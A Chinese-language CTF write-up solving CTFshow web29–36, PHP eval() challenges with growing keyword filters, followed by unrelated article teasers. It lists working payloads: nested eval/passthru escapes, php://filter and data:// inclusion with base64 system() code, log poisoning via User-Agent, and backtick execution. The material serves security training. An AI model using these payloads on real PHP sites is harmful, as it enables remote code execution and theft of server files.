CTFshow web(命令执行29-36)

?c=eval($_GET[shy]);&shy=passthru('cat flag.php');      #逃逸过滤 

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php        #文件包含

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php           #文件包含
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>  #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==        #文件包含

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php   #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入<?php echo system('ls');?>   #文件日志包含

?c=echo(`tac%09f*`);   #反引号

                                                              web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

做什么题目都是一样的,既然题目没有给输出flag,那就必须找到flag在哪,但是CTFshow的flag都在flag.php,所以之后也没有太大必要

先来一句?c=system(ls);

因为CTFshow后面flag不输出来的基本都藏在flag.php所以之后没有必要直接system(ls);

上面的基本每一条命令都可以搞定这道题目,而且基本都是降维打击这个栏目很多题目,这里是刷题篇,因为之前没有怎么系统刷过这边题目,这里准备用我之前写的一篇文章一个晚上对这个栏目降维打击,速度补充之前没有系统刷一遍的CTFshow命令执行题目,准备要高效学习命令执行的就看我的一篇文章就好了,先看我之前的文章,不然车速会很快。

一篇文章带你进阶CTF命令执行-CSDN博客

这里直接:?c=eval($_GET[shy]);&shy=passthru('cat flag.php');

                                                                web30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里直接:?c=eval($_GET[shy]);&shy=passthru('cat flag.php');#逃逸过滤法

降维打击

                                                                web31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是那个命令:?c=eval($_GET[shy]);&shy=passthru('cat flag.php'); 

当然你要用我文章其他命令也可以,都是降维打击的,是不是很爽!

                                                                web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=eval($_GET[shy]);&shy=passthru('cat flag.php'); 

在这段代码中,使用了 PHP 中的 GET 方法来获取参数值。$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 eval() 函数进行执行。

在这个例子中,如果你通过 URL 的查询参数传递 c=eval($_GET[shy]),那么这个参数会被当做 PHP 代码执行,最终达到逃逸对c的过滤,毕竟那是过滤c的,管我shy什么事!

但是这里把;过滤,没有办法,那就用下一个命令,丢上去就好,原理都在我之前写的文章里面

第二个命令就搞定了,接下来直接base64解码就好!

                                                                          web33

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

做题就两步走,第一步先把上面我给出的所有命令语句的原理给我弄清,第二步下次遇到问题从第一条开始往下梭哈就好,当然别忘了对面有没有过滤特殊符号啊

对面过滤了;,那直接第二条就搞定了

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php 

                                                                        web34

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是第二条命令,记住:如果没有发现flag说明对面在前端或者后端过滤了,那就别犹豫,如果有一些隐性的过滤比如waf,那就一个个尝试命令就好了,毕竟我给列出了那么多命令呢!

                                                                        web35

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是第二条命令

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

                                                                       web36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是第二条命令:

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

磨刀不误砍柴工,看了我之前的文章后,车速自然要加快,10分钟八道题转瞬即逝,苦于篇幅太长,剩下内容在下一篇文章

真心希望我的文章能够帮助大家,谢谢!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/673861.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2. Maven 继承与聚合

目录 2. 2.1 继承 2.2继承关系 2.2.1 思路分析 2.2.2 实现 2.1.2 版本锁定 2.1.2.1 场景 2.1.2.2 介绍 2.1.2.3 实现 2.1.2.4 属性配置 2.2 聚合 2.2.1 介绍 2.2.2 实现 2.3 继承与聚合对比 maven1&#xff1a;分模块设计开发 2. 在项目分模块开发之后啊&#x…

Lua迭代器以及各种源函数的实现

范型for 范型for的格式如下所示&#xff1a; for <var-list> in <exp-list> do<body> end var-list指变量名列表&#xff0c;可以为多个&#xff0c;exp-list指表达式列表&#xff0c;通常情况下只有一个值。可以更具体地写为另一种形式&#xff1a; fo…

TCP和UDP相关问题(重点)(3)——3.HTTP基于TCP还是UDP?

HTTP/3.0 之前是基于 TCP 协议的&#xff0c;而 HTTP/3.0 将弃用 TCP&#xff0c;改用 基于 UDP 的 QUIC 协议 。具体见HTTP相关问题-CSDN博客

Gazebo的初始启动问题

在机器人开发之中一般初始启动会输入以下语句&#xff1a; ros2 launch gazebo_ros gazebo.launch.py 通常都会报错&#xff0c;原因是路径并未添加&#xff0c;输入下列语句到.bashrc即可 source /usr/share/gazebo/setup.bash

freeRTOS总结(十四)任务通知

1、任务通知 任务通知&#xff1a; 用来通知任务的&#xff0c;任务控制块中的结构体成员变量ulNotifiedValue就是这个通知值 使用队列、信号量、事件标志组时都需另外创建一个结构体&#xff0c;通过中间的结构体进行间接通信&#xff01; 使用任务通知时&#xff0c;任务结…

Flink流式数据倾斜

1. 流式数据倾斜 流式处理的数据倾斜和 Spark 的离线或者微批处理都是某一个 SubTask 数据过多这种数据不均匀导致的&#xff0c;但是因为流式处理的特性其中又有些许不同 2. 如何解决 2.1 窗口有界流倾斜 窗口操作类似Spark的微批处理&#xff0c;直接两阶段聚合的方式来解决…

leetcode - 408. Valid Word Abbreviation

Description A string can be abbreviated by replacing any number of non-adjacent, non-empty substrings with their lengths. The lengths should not have leading zeros. For example, a string such as “substitution” could be abbreviated as (but not limited t…

详细分析python中的from waitress import serve(附Demo)

目录 前言1. 基本知识2. serve源码分析3. 基本操作 前言 以前玩python 开发的时候写过一些见解&#xff0c;推荐阅读&#xff1a; uwsgi启动django以及uwsgi.ini的配置参数详解Django框架零基础入门 部署服务器除了Flask还有serve 在讲述serve之前&#xff0c;先讲述两者的…

安全名词解析-社工、0day、DDos攻击

为方便您的阅读&#xff0c;可点击下方蓝色字体&#xff0c;进行跳转↓↓↓ 01 社工02 0day漏洞03 DDoS攻击 01 社工 社工&#xff08;Social Engineering&#xff09;&#xff0c;一般指社会工程攻击的简称&#xff0c;是一种通过与人的交互来获取信息、获取访问权限或进行欺骗…

shell 脚本输出java版本到日志文件中

要将Java版本输出到日志文件中&#xff0c;你可以使用Shell脚本调用java -version命令&#xff0c;并将输出重定向到一个日志文件中。下面是一个简单的示例脚本&#xff0c;展示了如何实现这一功能&#xff1a; #!/bin/bash# 指定日志文件路径 log_file"/path/to/your/log…

前端vue3实现本地及在线文件预览(含pdf/txt/mp3/mp4/docx/xlsx/pptx)

一、仅需实现在线预览&#xff0c;且文件地址公网可访问 &#xff08;一&#xff09;微软office免费预览&#xff08;推荐&#xff09; 支持doc/docx/xls/xlsx/ppt/pptx等多种office文件格式的免费预览 //示例代码//​在https://view.officeapps.live.com/op/view.aspx?src…

【Qt】Android上运行keeps stopping, Desktop上正常

文章目录 问题 & 背景背景问题 解决方案One More ThingTake Away 问题 & 背景 背景 在文章【Qt】最详细教程&#xff0c;如何从零配置Qt Android安卓环境中&#xff0c;我们在Qt中配置了安卓开发环境&#xff0c;并且能够正常运行。 但笔者在成功配置并完成上述文章…

(每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理第10章 项目进度管理(三)

博主2023年11月通过了信息系统项目管理的考试&#xff0c;考试过程中发现考试的内容全部是教材中的内容&#xff0c;非常符合我学习的思路&#xff0c;因此博主想通过该平台把自己学习过程中的经验和教材博主认为重要的知识点分享给大家&#xff0c;希望更多的人能够通过考试&a…

2024/2/7总结

Node.js 什么是node.js node.js是一个基于chrome v8 引擎的 JavaScript 运行环境。 浏览器是JavaScript的前端运行环境node.js是JavaScript的后端运行环境 node.js中无法调用DOM和BOM等浏览器内置API fs模块 是node.js官方提供的、用来操作文件的模块&#xff0c;它提供了一系…

初识 Protobuf 和 gRpc

初步了解 Protobuf 和 gRpc Protocol Buffers Protocol Buffers&#xff08;又称protobuf&#xff09;是谷歌的语言无关、平台无关、可扩展的机制&#xff0c;用于序列化结构化数据。您可以在protobuf的文档中了解更多关于它的信息。 ProtoBuf 的定义 ProtoBuf是将类的定义…

PostgreSql与Postgis安装

POstgresql安装 1.登录官网 PostgreSQL: Linux downloads (Red Hat family) 2.选择版本 3.安装 ### 源 yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm ### 客户端 yum install postgresql14 ###…

Python使用zdppy_es国产框架操作Elasticsearch实现增删改查

Python使用zdppy_es国产框架操作Elasticsearch实现增删改查 本套教程配套有录播课程和私教课程&#xff0c;欢迎私信我。 Docker部署ElasticSearch7 创建基本容器 docker run -itd --name elasticsearch -p 9200:9200 -e "discovery.typesingle-node" -e ES_JAVA_…

获取目标进程导入DLL模块地址的方法

以下是一些常用的方法&#xff0c;可以用于获取目标进程导入DLL模块的地址。根据具体情况选择合适的方法&#xff0c;并注意安全性和稳定性&#xff1a; 1、使用 LoadLibrary 函数和 GetModuleHandle 函数&#xff1a; #include <Windows.h>// 获取目标进程中某个 DLL …

MySQL基础查询篇(10)-正则表达式的基础使用

正则表达式在MySQL数据库中是非常强大且常用的功能&#xff0c;它可以帮助我们快速的匹配和处理文本数据。在MySQL中&#xff0c;正则表达式的使用可以通过正则表达式函数来实现。 MySQL中常用的正则表达式函数有&#xff1a; REGEXP/RLIKE&#xff1a;通过正则表达式进行模式…

java Map集合相关介绍和方法使用操作

Java的Map集合是存储键值对的一种数据结构。在Map中&#xff0c;每个键都是唯一的&#xff0c;用来标识该键值对。 Map接口是java.util包中的一部分&#xff0c;它有多个实现类&#xff0c;包括HashMap&#xff0c;TreeMap&#xff0c;LinkedHashMap等。 下面是Map接口的一些…